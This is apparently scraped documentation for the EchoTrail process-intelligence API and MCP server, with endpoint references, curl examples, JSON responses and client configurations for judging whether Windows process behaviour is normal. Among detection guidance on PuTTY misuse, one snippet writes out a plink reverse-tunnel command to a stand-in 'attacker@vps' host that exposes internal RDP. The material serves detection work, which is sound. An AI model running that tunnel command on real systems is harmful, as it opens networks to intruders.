### Free tier summary response for putty.exe

Source: https://echotrail.io/docs

Example of the free tier summary response for GET /v1/process/putty.exe and the lookup_process tool. Returns enough information to answer whether a process is known and normal, including a most_common_parent verdict and a lab observation summary.

```json
{
  "name": "putty.exe",
  "known": true,
  "category": "Productivity",
  "publisher": "Simon Tatham",
  "description": "putty.exe (SSH, Telnet, Rlogin, and SUPDUP client) is part of PuTTY suite, by Simon Tatham.",
  "most_common_parent": {
    "name": "explorer.exe",
    "share_pct": 81.69,
    "verdict": "normal"
  },
  "full_record_available": true,
  "upgrade_url": "https://echotrail.io/pricing/",
  "lab": {
    "observed": true,
    "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
    "observed_at": "2026-09-10T01:34:03.679371+00:00",
    "runs": 1,
    "install_source": {
      "kind": "winget",
      "package": "PuTTY.PuTTY",
      "version": "0.84.0.0"
    },
    "publisher": "Simon Tatham",
    "signature_status": "Valid",
    "persistence": {
      "present": false,
      "kinds": [],
      "by_kind": {}
    },
    "network": {
      "present": true,
      "destinations": 1
    },
    "counts": {
      "command_lines": {
        "distinct": 2,
        "raw": 2
      },
      "dll_loads": {
        "distinct": 53,
        "raw": 89
      },
      "registry_writes": {
        "distinct": 3,
        "raw": 15
      },
      "file_writes": {
        "distinct": 2,
        "raw": 2
      },
      "dns": {
        "distinct": 1,
        "raw": 1
      },
      "driver_loads": {
        "distinct": 0,
        "raw": 0
      },
      "pipes": {
        "distinct": 0,
        "raw": 0
      },
      "wmi": {
        "distinct": 0,
        "raw": 0
      },
      "remote_threads": {
        "distinct": 0,
        "raw": 0
      },
      "raw_access": {
        "distinct": 0,
        "raw": 0
      },
      "tampering": {
        "distinct": 0,
        "raw": 0
      },
      "process_access": {
        "distinct": 0,
        "raw": 0
      },
      "powershell": {
        "distinct": 0,
        "raw": 0
      },
      "security_events": {
        "distinct": 0,
        "raw": 0
      },
      "http": {
        "distinct": 0,
        "raw": 0
      },
      "tls": {
        "distinct": 0,
        "raw": 0
      }
    }
  }
}
```

--------------------------------

### Team and above full record response for putty.exe

Source: https://echotrail.io/docs

Example of the full record response for GET /v1/process/putty.exe and the lookup_process tool, available to Team and above. Includes the full description, intel with normal_behavior, and lab observations. Rows observed in the lab carry windows_build, observed_at, and lab_count; count and percentage come from executions observed in the wild. Lists are cut to three entries for display.

```json
{
  "process_name": "putty.exe",
  "description": "putty.exe (SSH, Telnet, Rlogin, and SUPDUP client) is part of PuTTY suite, by Simon Tatham. PuTTY is a client program for the SSH, Telnet, Rlogin, and SUPDUP network protocols. These protocols are all used to run a remote session on a computer, over a network. PuTTY implements the client end of that session: the end at which the session is displayed, rather than the end at which it runs.",
  "intel": {
    "normal_behavior": "PuTTY is an interactive SSH/Telnet/Rlogin/SUPDUP terminal client, typically launched by a user from Explorer, the Start Menu, or a shortcut, and it opens outbound TCP sessions to remote hosts (usually port 22). In the lab the MSI (putty-64bit-0.84-installer.msi) was installed silently via msiexec /i /qn spawned by powershell.exe, writing putty.exe, plink.exe, pscp.exe, psftp.exe, pageant.exe, puttygen.exe, putty.chm and LICENCE into C:\\Program Files\\PuTTY and registering the .ppk file association plus MSI product/upgrade keys under HKCR\\Installer. Each tool was then started once from cmd.exe with a valid 'Simon Tatham' signature; the console tools (plink, pscp, psftp) spawned conhost.exe, and putty.exe made a single outbound TCP connection to 140.82.112.3:22 after a DNS lookup of github.com when run as 'putty.exe -ssh -P 22 git@github.com'. No autoruns, services, or scheduled tasks were created; other observed network traffic (msedgewebview2, svchost, backgroundtaskhost, OneDrive updater) was unrelated Windows background activity."
  }
}
```

--------------------------------

### GET /v1/process/{name} JSON response for putty.exe

Source: https://echotrail.io/docs

Example JSON response for a process name lookup. The response includes process metadata, threat intel with normal behavior and suspicious indicators, and is returned with HTTP 200. Free tier returns a summary; Team and above returns the full record with lists cut to the top three.

```json
{
  "process_name": "putty.exe",
  "description": "putty.exe (SSH, Telnet, Rlogin, and SUPDUP client) is part of PuTTY suite, by Simon Tatham. PuTTY is a client program for the SSH, Telnet, Rlogin, and SUPDUP network protocols. These protocols are all used to run a remote session on a computer, over a network. PuTTY implements the client end of that session: the end at which the session is displayed, rather than the end at which it runs.",
  "intel": {
    "normal_behavior": "PuTTY is an interactive SSH/Telnet/Rlogin/SUPDUP terminal client, typically launched by a user from Explorer, the Start Menu, or a shortcut, and it opens outbound TCP sessions to remote hosts (usually port 22). In the lab the MSI (putty-64bit-0.84-installer.msi) was installed silently via msiexec /i /qn spawned by powershell.exe, writing putty.exe, plink.exe, pscp.exe, psftp.exe, pageant.exe, puttygen.exe, putty.chm and LICENCE into C:\\Program Files\\PuTTY and registering the .ppk file association plus MSI product/upgrade keys under HKCR\\Installer. Each tool was then started once from cmd.exe with a valid 'Simon Tatham' signature; the console tools (plink, pscp, psftp) spawned conhost.exe, and putty.exe made a single outbound TCP connection to 140.82.112.3:22 after a DNS lookup of github.com when run as 'putty.exe -ssh -P 22 git@github.com'. No autoruns, services, or scheduled tasks were created; other observed network traffic (msedgewebview2, svchost, backgroundtaskhost, OneDrive updater) was unrelated Windows background activity.",
    "suspicious_indicators": "PuTTY-family binaries running from non-standard locations (%TEMP%, %APPDATA%, C:\\Users\\Public, ProgramData, network shares) or renamed (e.g. svchost.exe, chrome.exe) while retaining the 'PuTTY suite' version-info or Simon Tatham signature. Non-interactive parents such as powershell.exe, wscript.exe, cmd.exe from a service, WmiPrvSE.exe, msbuild, or an Office application spawning plink.exe/pscp.exe/psftp.exe. Command lines indicating tunneling or non-interactive automation: plink with -R/-L/-D port forwards, -N, -batch, -pw <cleartext password>, -i <key>.ppk, or 'plink -ssh user@host -pw ... cmd.exe'; pscp/psftp bulk transfers of archives to external IPs; SSH connections on non-standard ports (443, 2222, 80) to unfamiliar or hosting-provider IPs. Also suspicious: a modified/unsigned or oddly-signed putty.exe or plink.exe (trojanized PuTTY has been used in fake-recruiter campaigns), pageant.exe running unexpectedly on servers, puttygen.exe generating keys on a server, and mass reads of HKCU\\Software\\SimonTatham\\PuTTY\\Sessions or *.ppk files by a non-PuTTY process."
  }
}
```

--------------------------------

### GET /v1/tree

Source: https://echotrail.io/docs

Retrieves the process tree.

```APIDOC
## GET /v1/tree

### Description
Retrieves the process tree.

### Method
GET

### Endpoint
/v1/tree

```

--------------------------------

### JSON response for /v1/tree

Source: https://echotrail.io/docs

Example JSON response from the /v1/tree endpoint showing a three-level process chain assessment.

```json
{
  "grandparent": "services.exe",
  "parent": "svchost.exe",
  "child": "rundll32.exe",
  "link1": { "parent": "services.exe", "child": "svchost.exe", "observed": true, "percentage": 99.6556 },
  "link2": { "parent": "svchost.exe", "child": "rundll32.exe", "observed": true, "percentage": 46.4428 },
  "assessment": "expected"
}
```

--------------------------------

### Bulk processes response JSON

Source: https://echotrail.io/docs

Example response from the /v1/bulk/processes endpoint showing found and not_found results.

```json
{
  "results": [
    {
      "process_name": "svchost.exe",
      "status": "found",
      "data": { ...the full /v1/process record for svchost.exe... }
    },
    {
      "process_name": "notarealprocess.exe",
      "status": "not_found",
      "data": null
    }
  ],
  "requested": 2,
  "found": 1,
  "not_found": 1
}
```

--------------------------------

### GET /v1/search

Source: https://echotrail.io/docs

Searches for processes.

```APIDOC
## GET /v1/search

### Description
Searches for processes.

### Method
GET

### Endpoint
/v1/search

```

--------------------------------

### GET /v1/process/{name}

Source: https://echotrail.io/docs

Retrieves information about a process by name.

```APIDOC
## GET /v1/process/{name}

### Description
Retrieves information about a process.

### Method
GET

### Endpoint
/v1/process/{name}

### Parameters
#### Path Parameters
- **name** (string) - Required - The name of the process.

```

--------------------------------

### Authentication Header Example

Source: https://echotrail.io/docs

Shows the required Authorization header format for API requests. All keys use the et_live_ prefix and are passed as Bearer tokens.

```http
Authorization: Bearer et_live_xxxxxxxxxxxxxxxxxxxxxxxx
```

--------------------------------

### Bulk hashes response JSON

Source: https://echotrail.io/docs

Example response from the /v1/bulk/hashes endpoint showing hash lookup results with filename details.

```json
{
  "results": [
    {
      "hash": "4119bec97bcf2a736f7769d22dc745d8a398a278bd403e53ec2dd2dd0217a6ae",
      "status": "found",
      "data": {
        "sha256": "4119bec97bcf2a736f7769d22dc745d8a398a278bd403e53ec2dd2dd0217a6ae",
        "total_executions": 0,
        "filenames": [
          {
            "name": "putty.exe",
            "count": null,
            "lab_count": 2,
            "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
            "observed_at": "2026-09-10T01:34:03.679371+00:00"
          }
        ]
      }
    },
    {
      "hash": "b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b",
      "status": "found",
      "data": {
        "sha256": "b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b",
        "total_executions": 1885424,
        "filenames": [
          {
            "name": "svchost.exe",
            "count": 1885424
          }
        ]
      }
    }
  ],
  "requested": 2,
  "found": 2,
  "not_found": 0
}
```

--------------------------------

### curl request for /v1/parent-child

Source: https://echotrail.io/docs

Example curl command to query the /v1/parent-child endpoint with parent and child process names.

```bash
curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/parent-child?parent=services.exe&child=svchost.exe"
```

--------------------------------

### lookup_process Tool Input

Source: https://echotrail.io/docs

Input for the lookup_process MCP tool. Free tier returns summary. Same data as GET /v1/process/{name}.

```json
{ "process_name": "svchost.exe" }
```

--------------------------------

### JSON response for /v1/analyze

Source: https://echotrail.io/docs

Example JSON response from the /v1/analyze endpoint showing risk scoring and evidence for a composite event.

```json
{
  "process_name": "powershell.exe",
  "known": true,
  "score": 2.5,
  "assessment": "uncommon",
  "signals": [
    {
      "signal": "prevalence",
      "score": 0,
      "max_weight": 1.0
    },
    {
      "signal": "parent_child",
      "score": 2.5,
      "max_weight": 3.0
    },
    {
      "signal": "path",
      "score": 0,
      "max_weight": 2.0
    }
  ],
  "underlying_data": {
    "prevalence": {
      "process_name": "powershell.exe",
      "total_executions": 9261865
    },
    "parent_child": {
      "parent": "excel.exe",
      "child": "powershell.exe",
      "observed": true,
      "count": 8,
      "total_child_executions": 9261860,
      "percentage": 8.637573878249078e-05,
      "common_parents": [
        {
          "name": "cmd.exe",
          "count": 7185092
        },
        {
          "name": "jumpcloud-agent.exe",
          "count": 1283463
        },
        {
          "name": "platform-scripting-plugin.exe",
          "count": 211725
        }
      ]
    },
    "path": {
      "filename": "powershell.exe",
      "path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe",
      "observed": true,
      "count": 9086223,
      "total_executions": 9261865,
      "percentage": 98.10360008486411,
      "common_paths": [
        {
          "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0",
          "count": 9086223
        },
        {
          "path": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0",
          "count": 175610
        },
        {
          "path": "C:\\Windows\\syswow64\\WindowsPowerShell\\v1.0",
          "count": 32
        }
      ]
    }
  },
  "evidence": {
    "evaluated": [
      "prevalence",
      "parent_child",
      "path"
    ],
    "missing": [
      "grandparent_process",
      "command_line",
      "sha256"
    ],
    "ignored": []
  }
}
```

--------------------------------

### curl request for /v1/tree

Source: https://echotrail.io/docs

Example curl command to query the /v1/tree endpoint with grandparent, parent, and child process names.

```bash
curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/tree?grandparent=wininit.exe&parent=services.exe&child=svchost.exe"
```

--------------------------------

### Process Notification Response (200 OK)

Source: https://echotrail.io/docs

Example response from the notify endpoint indicating successful registration of interest in a process name.

```json
{
  "ok": true,
  "name": "updater_helper.exe",
  "registered": true,
  "note": "Interest in this name is registered for your organization."
}
```

--------------------------------

### Search response JSON

Source: https://echotrail.io/docs

Example response from the /v1/search endpoint showing natural language search results with similarity scores.

```json
{
  "query": "remote administration tools",
  "results": [
    {
      "process_name": "repadmin.exe",
      "description": "Filename: repadmin.exe\nDescription: Active Directory Replication Administration tool - diagnoses and troublesh...",
      "similarity": 0.4562
    },
    {
      "process_name": "psexec.exe",
      "description": "Filename: psexec.exe\nDescription: psexec.exe is part of the SysInternals suite of tools developed by Microsoft...",
      "similarity": 0.4438
    }
  ],
  "count": 2
}
```

--------------------------------

### GET /v1/parent-child

Source: https://echotrail.io/docs

Checks the parent-child relationship between processes.

```APIDOC
## GET /v1/parent-child

### Description
Checks the parent-child relationship between processes.

### Method
GET

### Endpoint
/v1/parent-child

```

--------------------------------

### Search processes with curl

Source: https://echotrail.io/docs

Sends a GET request to /v1/search with a natural language query and limit. Replace YOUR_API_KEY with your actual key.

```bash
curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/search?q=remote%20administration%20tools&limit=5"
```

--------------------------------

### check_parent_child Tool Input

Source: https://echotrail.io/docs

Input for the check_parent_child MCP tool. Free tier returns summary. Same data as GET /v1/parent-child.

```json
{ "parent": "services.exe", "child": "svchost.exe" }
```

--------------------------------

### Standard Error Response JSON

Source: https://echotrail.io/docs

Example of a standard error response returned by the EchoTrail API. The error object contains a machine-readable 'code' and a human-readable 'message'. This example shows an 'unauthorized' error for a missing or invalid API key.

```json
{
  "error": {
    "code": "unauthorized",
    "message": "Missing or invalid API key"
  }
}
```

--------------------------------

### search_processes Tool Input

Source: https://echotrail.io/docs

Input for the search_processes MCP tool. Team+ tier. Semantic search across Windows processes using natural language. Same data as GET /v1/search.

```json
{ "query": "remote administration tools", "limit": 5 }
```

--------------------------------

### Parent-child relationship response (JSON)

Source: https://echotrail.io/docs

Example JSON response from the /v1/parent-child endpoint. Shows the observed flag, verdict, and share percentage for the parent-child pair.

```json
{
  "parent": "services.exe",
  "child": "svchost.exe",
  "observed": true,
  "verdict": "normal",
  "share_pct": 99.66,
  "full_record_available": true,
  "upgrade_url": "https://echotrail.io/pricing/"
}
```

--------------------------------

### GET /v1/parent-child

Source: https://echotrail.io/docs

Assesses whether a child process is observed under a given parent process, returning an observed flag and a confidence percentage.

```APIDOC
## [GET] /v1/parent-child

### Description
Assess the normalcy of a process relationship: whether a child process is observed under a parent process. Returns a link with an observation flag and a confidence percentage.

### Method
GET

### Endpoint
/v1/parent-child

### Parameters
#### Query Parameters
- **parent** (string) - Required - Parent process filename
- **child** (string) - Required - Child process filename

### Request Example
```
curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/parent-child?parent=services.exe&child=svchost.exe"
```

### Response
#### Success Response (200)
- **parent** (string) - Parent process filename
- **child** (string) - Child process filename
- **observed** (boolean) - Whether the pair has been observed
- **percentage** (float) - Percentage of child executions under this parent

#### Response Example
```
{
  "parent": "services.exe",
  "child": "svchost.exe",
  "observed": true,
  "percentage": 99.6556
}
```
```

--------------------------------

### GET /v1/tree

Source: https://echotrail.io/docs

Assesses the normalcy of a three-level process chain (grandparent → parent → child), returning observation flags, percentages, and an overall assessment.

```APIDOC
## [GET] /v1/tree

### Description
Assess the normalcy of a three-level process chain (grandparent → parent → child). Returns whether the chain has been observed and an overall assessment.

### Method
GET

### Endpoint
/v1/tree

### Parameters
#### Query Parameters
- **grandparent** (string) - Required - Grandparent process filename
- **parent** (string) - Required - Parent process filename
- **child** (string) - Required - Child process filename

### Request Example
```
curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/tree?grandparent=wininit.exe&parent=services.exe&child=svchost.exe"
```

### Response
#### Success Response (200)
- **grandparent** (string) - Grandparent process filename
- **parent** (string) - Parent process filename
- **child** (string) - Child process filename
- **link1** (object) - Grandparent-parent link: parent, child, observed, percentage
- **link2** (object) - Parent-child link: parent, child, observed, percentage
- **assessment** (string) - Overall assessment of the chain (e.g., "expected")

#### Response Example
```
{
  "grandparent": "services.exe",
  "parent": "svchost.exe",
  "child": "rundll32.exe",
  "link1": { "parent": "services.exe", "child": "svchost.exe", "observed": true, "percentage": 99.6556 },
  "link2": { "parent": "svchost.exe", "child": "rundll32.exe", "observed": true, "percentage": 46.4428 },
  "assessment": "expected"
}
```
```

--------------------------------

### check_process_tree Tool Input

Source: https://echotrail.io/docs

Input for the check_process_tree MCP tool. Team+ tier. Assesses the normalcy of a three-level process chain. Same data as GET /v1/tree.

```json
{
  "grandparent": "wininit.exe",
  "parent": "services.exe",
  "child": "svchost.exe"
}
```

--------------------------------

### PuTTY plink.exe reverse tunnel command line

Source: https://echotrail.io/docs

Example of a reverse SSH tunnel using plink.exe to expose internal RDP/SMB to the internet. This command is cited as common tradecraft in Iranian, Chinese, and ransomware affiliate intrusions.

```shell
plink -R 3389:127.0.0.1:3389 attacker@vps -pw pass -N
```

--------------------------------

### Analyze a process with curl

Source: https://echotrail.io/docs

Sends a POST request to /v1/analyze with process details. Replace YOUR_API_KEY with your actual key.

```bash
curl -X POST https://api.echotrail.io/v1/analyze \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "process_name": "powershell.exe",
    "parent_process": "excel.exe",
    "file_path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"
  }'
```

--------------------------------

### Bulk processes with curl

Source: https://echotrail.io/docs

Sends a POST request to /v1/bulk/processes with an array of process names. Replace YOUR_API_KEY with your actual key.

```bash
curl -X POST https://api.echotrail.io/v1/bulk/processes \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"processes": ["svchost.exe", "lsass.exe", "csrss.exe"]}'
```

--------------------------------

### Query process information with curl

Source: https://echotrail.io/docs

Use this curl command to retrieve process information for a given process name (e.g., svchost.exe). Replace YOUR_API_KEY with your actual API key.

```bash
curl -H "Authorization: Bearer YOUR_API_KEY" \
  https://api.echotrail.io/v1/process/svchost.exe
```

--------------------------------

### POST /v1/bulk/processes

Source: https://echotrail.io/docs

Performs bulk operations on processes.

```APIDOC
## POST /v1/bulk/processes

### Description
Performs bulk operations on processes.

### Method
POST

### Endpoint
/v1/bulk/processes

```

--------------------------------

### Process Notification Request (curl)

Source: https://echotrail.io/docs

Registers interest in a process name via POST to /v1/notify/{name}. Requires a Bearer API key and no body.

```bash
curl -X POST -H "Authorization: Bearer YOUR_API_KEY" \
  https://api.echotrail.io/v1/notify/updater_helper.exe
```

--------------------------------

### Claude Desktop mcp-remote Configuration

Source: https://echotrail.io/docs

Configuration for Claude Desktop using the mcp-remote bridge. Requires Node.js. The header value is passed via env because Claude Desktop splits arguments on spaces.

```json
{
  "mcpServers": {
    "echotrail": {
      "command": "npx",
      "args": [
        "-y", "mcp-remote", "https://api.echotrail.io/mcp",
        "--header", "Authorization:${AUTH_HEADER}"
      ],
      "env": {
        "AUTH_HEADER": "Bearer YOUR_API_KEY"
      }
    }
  }
}
```

--------------------------------

### Cursor MCP Configuration

Source: https://echotrail.io/docs

Configuration for Cursor in the project's .cursor/mcp.json. Sets the MCP server URL and headers.

```json
{
  "mcpServers": {
    "echotrail": {
      "url": "https://api.echotrail.io/mcp",
      "headers": {
        "Authorization": "Bearer YOUR_API_KEY"
      }
    }
  }
}
```

--------------------------------

### POST /v1/notify/{name}

Source: https://echotrail.io/docs

Registers an organization's interest in a process name that is not yet in the data. It is idempotent and sends no notification when the name becomes available.

```APIDOC
## [POST] /v1/notify/{name}

### Description
Registers organization's interest in a process name that the data does not yet have. The name is already queued for the behavior lab by the miss itself, and nothing is sent when the name becomes available. Idempotent.

### Method
POST

### Endpoint
/v1/notify/{name}

### Parameters
#### Path Parameters
- **name** (string) - Required - Process filename, e.g., updater_helper.exe

### Request Example
```
curl -X POST -H "Authorization: Bearer YOUR_API_KEY" \
  https://api.echotrail.io/v1/notify/updater_helper.exe
```

### Response
#### Success Response (200)
- **ok** (boolean) - Success indicator. Always true for 200.
- **name** (string) - The process name from the request.
- **registered** (boolean) - Confirmation that interest was registered.
- **note** (string) - Message confirming the registration.

#### Response Example
```
{
  "ok": true,
  "name": "updater_helper.exe",
  "registered": true,
  "note": "Interest in this name is registered for your organization."
}
```
```

--------------------------------

### POST /v1/analyze

Source: https://echotrail.io/docs

Performs composite event analysis with risk scoring. Requires process_name, but accepts additional context fields (parent, path, command line, hash) to improve the assessment.

```APIDOC
## [POST] /v1/analyze

### Description
Composite event analysis with risk scoring. Provide as much context as you have; process name is required, but adding parent, path, command line, or hash improves the assessment. Every field must be a string; `sha256` must be 64 hex characters (anything else is a 400).

### Method
POST

### Endpoint
/v1/analyze

### Parameters
#### Request Body
- **process_name** (string) - Required - Windows process filename
- **parent_process** (string) - Optional - Parent process filename
- **grandparent_process** (string) - Optional - Grandparent process filename; evaluated only with parent_process (otherwise listed under evidence.ignored)
- **file_path** (string) - Optional - Full file path on disk
- **command_line** (string) - Optional - Full command line string
- **sha256** (string) - Optional - SHA-256 hash (64 hex chars)

### Request Example
```
{
  "process_name": "powershell.exe",
  "parent_process": "excel.exe",
  "file_path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"
}
```

### Response
#### Success Response (200)
- **process_name** (string) - Windows process filename
- **known** (boolean) - Whether the process is in the data
- **score** (float) - Risk score from 0 to 10
- **assessment** (string) - Overall assessment (e.g., "uncommon", "unknown" if not known)
- **signals** (array) - Each signal with its score and max_weight
- **underlying_data** (object) - Detailed data for each evaluated signal (prevalence, parent_child, path)
- **evidence** (object) - evaluated, missing, ignored lists

#### Response Example
```
{
  "process_name": "powershell.exe",
  "known": true,
  "score": 2.5,
  "assessment": "uncommon",
  "signals": [
    { "signal": "prevalence", "score": 0, "max_weight": 1.0 },
    { "signal": "parent_child", "score": 2.5, "max_weight": 3.0 },
    { "signal": "path", "score": 0, "max_weight": 2.0 }
  ],
  "underlying_data": {
    "prevalence": { "process_name": "powershell.exe", "total_executions": 9261865 },
    "parent_child": {
      "parent": "excel.exe",
      "child": "powershell.exe",
      "observed": true,
      "count": 8,
      "total_child_executions": 9261860,
      "percentage": 8.637573878249078e-05,
      "common_parents": [
        { "name": "cmd.exe", "count": 7185092 },
        { "name": "jumpcloud-agent.exe", "count": 1283463 },
        { "name": "platform-scripting-plugin.exe", "count": 211725 }
      ]
    },
    "path": {
      "filename": "powershell.exe",
      "path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe",
      "observed": true,
      "count": 9086223,
      "total_executions": 9261865,
      "percentage": 98.10360008486411,
      "common_paths": [
        { "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0", "count": 9086223 },
        { "path": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", "count": 175610 },
        { "path": "C:\\Windows\\syswow64\\WindowsPowerShell\\v1.0", "count": 32 }
      ]
    }
  },
  "evidence": {
    "evaluated": ["prevalence", "parent_child", "path"],
    "missing": ["grandparent_process", "command_line", "sha256"],
    "ignored": []
  }
}
```
```

--------------------------------

### Codex CLI MCP Configuration

Source: https://echotrail.io/docs

Configuration for Codex CLI in ~/.codex/config.toml. Sets the MCP server URL and HTTP headers.

```toml
[mcp_servers.echotrail]
url = "https://api.echotrail.io/mcp"
http_headers = { "Authorization" = "Bearer YOUR_API_KEY" }
```

--------------------------------

### POST /v1/bulk/hashes

Source: https://echotrail.io/docs

Performs bulk operations on hashes.

```APIDOC
## POST /v1/bulk/hashes

### Description
Performs bulk operations on hashes.

### Method
POST

### Endpoint
/v1/bulk/hashes

```

--------------------------------

### POST /v1/analyze

Source: https://echotrail.io/docs

Analyzes an event.

```APIDOC
## POST /v1/analyze

### Description
Analyzes an event.

### Method
POST

### Endpoint
/v1/analyze

```

--------------------------------

### POST /mcp

Source: https://echotrail.io/docs

Model Context Protocol endpoint for querying process data. Clients such as Claude, Codex, Cursor, or any MCP-compatible client can interact with the MCP server via JSON-RPC 2.0 over HTTP.

```APIDOC
## [POST] /mcp

### Description
Model Context Protocol endpoint for querying process data. Clients such as Claude, Codex, Cursor, or any MCP-compatible client can interact with the MCP server via JSON-RPC 2.0 over HTTP.

### Method
POST

### Endpoint
https://api.echotrail.io/mcp

### Authentication
Requires `Authorization` header with Bearer token (API key with `et_live_` prefix).

### MCP Methods
- `initialize` (free)
- `ping` (free)
- `tools/list` (free)
- `tools/call` (counts against monthly quota)

### Tools Exposed via `tools/call`

#### lookup_process
Free (summary). Get comprehensive behavioral profile for a Windows process. Same data as `GET /v1/process/{name}`.
Input: `{ "process_name": "svchost.exe" }`

#### check_parent_child
Free (summary). Validate whether a parent-child process relationship has been observed in the dataset. Same data as `GET /v1/parent-child`.
Input: `{ "parent": "services.exe", "child": "svchost.exe" }`

#### check_process_tree
Team+. Assess the normalcy of a three-level process chain. Same data as `GET /v1/tree`.
Input: `{ "grandparent": "wininit.exe", "parent": "services.exe", "child": "svchost.exe" }`

#### analyze_event
Team+. Composite event analysis with 0-10 risk scoring. Same data as `POST /v1/analyze`.
Input: `{ "process_name": "powershell.exe", "parent_process": "excel.exe", "file_path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" }`

#### search_processes
Team+. Semantic search across Windows processes using natural language. Same data as `GET /v1/search`.
Input: `{ "query": "remote administration tools", "limit": 5 }`
```

--------------------------------

### analyze_event Tool Input

Source: https://echotrail.io/docs

Input for the analyze_event MCP tool. Team+ tier. Composite event analysis with 0-10 risk scoring. Same data as POST /v1/analyze.

```json
{
  "process_name": "powershell.exe",
  "parent_process": "excel.exe",
  "file_path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"
}
```

--------------------------------

### analyze_path Tool Input

Source: https://echotrail.io/docs

Input for the analyze_path MCP tool. Team+ tier. Checks if a process has been observed running from a specific file path. MCP-only, no REST route.

```json
{
  "process_name": "svchost.exe",
  "file_path": "c:\\windows\\system32\\svchost.exe"
}
```

--------------------------------

### Bulk Hash Lookup Request (curl)

Source: https://echotrail.io/docs

Sends a POST request to the bulk hashes endpoint with an array of hashes. Requires a Bearer API key and Content-Type application/json.

```bash
curl -X POST https://api.echotrail.io/v1/bulk/hashes \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"hashes": ["a1b2c3d4e5f6..."]}'
```

--------------------------------

### lookup_hash Tool Input

Source: https://echotrail.io/docs

Input for the lookup_hash MCP tool. Team+ tier. Looks up a file hash (SHA-256 or MD5). MCP-only, no REST route.

```json
{ "hash_value": "a1b2c3d4..." }
```

--------------------------------

### Claude Code MCP Connection Command

Source: https://echotrail.io/docs

Adds the EchoTrail MCP server to Claude Code via CLI. Replace YOUR_API_KEY with your actual key.

```bash
claude mcp add --transport http echotrail https://api.echotrail.io/mcp \
  --header "Authorization: Bearer YOUR_API_KEY"
```

--------------------------------

### Claude Code .mcp.json Configuration

Source: https://echotrail.io/docs

Alternative configuration for Claude Code using the project's .mcp.json file. The transport type must be http; entries without a type are skipped.

```json
{
  "mcpServers": {
    "echotrail": {
      "type": "http",
      "url": "https://api.echotrail.io/mcp",
      "headers": {
        "Authorization": "Bearer YOUR_API_KEY"
      }
    }
  }
}
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.